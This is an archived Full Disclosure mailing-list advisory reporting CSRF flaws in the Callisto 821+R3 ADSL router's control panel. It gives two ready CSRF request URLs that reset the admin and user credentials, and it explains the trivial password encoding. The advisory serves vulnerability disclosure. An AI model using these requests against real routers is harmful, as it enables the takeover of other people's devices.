full-disclosure - [FD] CSRF vulnerabilities in Callisto 821+R3 ADSL Router

Open Source and information security mailing list archives

Message-ID: <004401d0ffb0$53b0ff60$9b7a6fd5@pc>
Date: Mon, 5 Oct 2015 23:56:24 +0300
From: "MustLive" <mustlive@...security.com.ua>
To: <submissions@...ketstormsecurity.org>,
	<fulldisclosure@...lists.org>
Subject: [FD] CSRF vulnerabilities in Callisto 821+R3 ADSL Router

Hello list!

After all my advisories about vulnerabilities in Callisto 821+ 
(http://seclists.org/fulldisclosure/2011/Aug/1) and recent advisory about 
Callisto 821+R3, here is new one. Because vendor ignored in 2011 all my 
letters and subsequent my public disclosure of vulnerabilities and new 
devices are vulnerable as well, so I disclosed vulnerabilities in Callisto 
821+R3 ADSL Router.

These are Cross-Site Request Forgery vulnerabilities. The whole control 
panel is vulnerable to CSRF, here are two vulnerabilities.

SecurityVulns ID: 11700.

-------------------------
Affected products:
-------------------------

Vulnerable is the next model: Callisto 821+R3, Firmware Version: ZXDSL 
831IIV7.5.1a_E09_UA. This model with other firmware and also other models of 
Callisto also must be vulnerable.

----------
Details:
----------

Cross-Site Request Forgery (WASC-09):

For changing login and password of admin:

http://site/adminpasswd.cgi?action=save&sysUserName=admin&sysPassword=E696D64616

For changing login and password of user:

http://site/userpasswd.cgi?action=save&usrUserName=user&usrPassword=27563757

Parameters sysPassword and usrPassword contain encrypted password. The 
cipher is simple - this is hex values of chars in reverse order.

I mentioned about these vulnerabilities at my site 
(http://websecurity.com.ua/7975/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua 

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives